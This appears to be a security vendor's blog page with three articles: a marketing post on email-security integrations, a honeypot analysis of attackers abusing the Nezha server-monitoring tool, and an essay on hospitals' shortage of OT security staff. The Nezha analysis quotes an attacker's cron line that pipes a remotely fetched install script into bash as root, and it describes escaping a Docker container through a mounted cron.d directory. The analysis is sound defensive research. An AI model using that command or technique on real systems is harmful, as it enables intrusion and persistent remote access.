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April 17, 2023

Boosting Security Posture with Email Integration

Protect your organization from cyber-attacks with a strong security strategy. Learn how to safeguard against threats targeting email, cloud apps, and beyond.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product
Written by
Carlos Gray
Senior Product Marketing Manager, Email
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17
Apr 2023

On its own, Darktrace/Email™ stops attacks before they reach an employee’s inbox and considers both security teams and the employees themselves. But its value extends beyond email security, increased by its ability to integrate with the wider security ecosystem, including both Darktrace products and external tools. 

Darktrace’s understanding of you and your organization can be applied anywhere your company has data. This unifying approach to cyber security feeds AI outputs into each other, from threat prevention to detection and response, in order to harden the entire security posture autonomously and continuously. The AI also enriches other security solutions an organization has in place by both ingesting and sharing data. This degree of integration transforms a security stack so that it is greater than the sum of its parts. 

Integrating Beyond Email to Enhance Detection and Response 

Integrating email security with other areas of the digital estate bolsters defenses, while reducing required resources. With more data, security teams gain a better understanding of the security stack and how attacks move through the system.

Traditional security solutions do this by either manually aggregating inputs from various tools or using a SIEM without native integrations to collate data. In contrast, Darktrace’s integration provides real-time intelligence communications between products to inform security teams. 

For example, context of network activity can provide more holistic email security. There’s a strong correlation between the websites users visit and the people that they email, which means information like web traffic provides insight into email threats, and vice versa. 

If an organization receives an email from a strange new sender, that happens to be have been sent from a domain nobody has ever visited, that added context could influence the aggression levels of actions taken. Integrations with endpoint security extends this type of informed decision-making to remote environments. These examples highlight the patented power of Darktrace/Network™ and Darktrace/Endpoint™ when paired with email coverage. 

Diagram depicting the flow of email activity generated by Darktrace Email Security tool.
Figure 2. Darktrace/Email works with Darktrace/Network and Darktrace/Endpoint to generate email insights from web traffic and vice versa. 

Email activity is tied to cloud/SaaS application account activity in an even more direct way. In the case of an account takeover, a suspicious Microsoft 365 login becomes even more suspicious if it is followed by highly unusual email activity, like new inbox rules being created. Too many email security solutions focus on the inbox alone, but viewing these areas in a single scope is critical for security teams wanting to understand the full timeline of an incident. 

To this end, Darktrace creates a 360-degree view of each user and their behavior. This comprehensive view goes beyond native security monitoring tools, allowing security teams to identify instances of data exfiltration, human error, misdirected emails, inappropriate link sharing, unusual log activity, and more. 

In one real-life example, the security team saw an attack from both an email and a SaaS perspective to quickly understand the whole picture, thanks to Darktrace/Email and Darktrace/Apps™. 

Darktrace customers are getting significant value from this integrated security stack. “The whole suite of products has given us 100% visibility across our whole ecosystem, which is fantastic. A lot of times we need to use many products to do that, and with the Darktrace products, I have that all in one,” commented a vice president of enterprise security and fraud management at a major credit union. 

Siloed solutions are a massive pain point in the cyber industry. Most companies have several, layered tools in their security stacks. When there is little to no communication between them, the security team must contend with an inflated workload and misses out on value. They must learn how to navigate several different dashboards, translate between languages and terms, and manually correlate data, in addition to monitoring all the solutions daily. This process makes maintaining security more difficult for the team, especially in a threat landscape with increasingly complex and fast-paced attacks. 

By sending and collecting information to and from other tools that the security team already uses, whether they are a part of Darktrace’s product stack or not, Darktrace/Email optimizes workflows so security teams can reallocate resources to larger, more strategic projects.  

Collaborating Across Email Security and Cyber Risk Management Tools

Syncing email protections with cyber risk management tools even further reduces risk and hardens security.

When emails are received from domain names associated with the brand of the client, an attack surface management tool can automatically analyze if those domains should be included as part of the attack surface scope or trigger malicious domain responses. 

In the other direction, when the attack surface management tool identifies malicious assets, like suspicious domains, spoofing sites, and typo squatters, it can inform email security decisions. With integrations between tools, these malicious assets automatically become watched domains with heightened sensitivity for inbound email. 

This integrated risk reduction can occur internally as well. When security teams look at cyber risk from an internal perspective, they may identify attack paths and high value targets within the company’s digital estate. By leveraging this understanding, Darktrace can determine which employees are critical components of potential attack paths. Once determined, the AI can test them by creating phishing simulations using details like real-life communication patterns and calendar data. These tests generate insights that feed back into Darktrace/Email to harden the environment, for example by heightening sensitivity. 

This demonstrates the benefits of combining Darktrace/Email and Darktrace PREVENT™. As part of the Cyber AI Loop, these connections between email security and cyber risk management are made easy for the security team to understand and act on. One customer noted how this integration had improved its security team’s workflow.  

“The more you use of Darktrace, the better it can correlate on your behalf,” said a Chief Information Officer at a construction company. “That’s why we’re all in with Darktrace now. We now have a holistic Darktrace footprint, which benefits us because we have more of the modules working on our behalf and not having to do the correlations separately or in isolation.” 

Supporting Compatibility with External Security Solutions

Darktrace/Email also works together with external tools. In addition to its mature integration with email providers like Microsoft 365 and Google Workspaces, Darktrace/Email has an open architecture that makes it immensely flexible. It is both API-driven and compatible with syslog, so it can integrate with any security tool and feed into any SIEM or SOAR. 

This unlimited capacity for integration allows Darktrace to detect and respond to threats more precisely with access to more data, as well as reduce the security team’s time-to-meaning by putting all relevant information in a single pane of glass. 

Darktrace/Email is also part of the Darktrace Mobile App, so security teams can view notifications, reports, and remediation actions at any time, even on the go. In this way, Darktrace not only fits into the greater security posture, but also with employees’ day-to-day workflow. 

Finally, Darktrace/Email supports data exports. These translate and share the data it collects within the email environment, allowing the security team to communicate key takeaways generated by Darktrace/Email to anyone within the organization. It can export directly to Microsoft Excel, or any other data analytics tool. This is especially useful for security teams as they work with other departments like IT, compliance, finance, and more. 

Integrations Add Value to the Darktrace Partnership

While Darktrace/Email is a powerful tool on its own, a major source of its value comes from its compatibility with the rest of Darktrace, other tools, people, and processes. 

Deploying multiple Darktrace products builds a robust security ecosystem that enhances detection while breaking down silos and improving workflows, therefore enabling the security team to take on higher-level and more strategic work. By integrating with external tools, Darktrace not only increases its own value but also maximizes the return on investment of other security solutions a team already has.  

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product
Written by
Carlos Gray
Senior Product Marketing Manager, Email

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Network

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

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What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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About the author
Nathaniel Bill
Malware Research Engineer

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OT

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

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Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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About the author
Daniel Simonds
Director of Operational Technology
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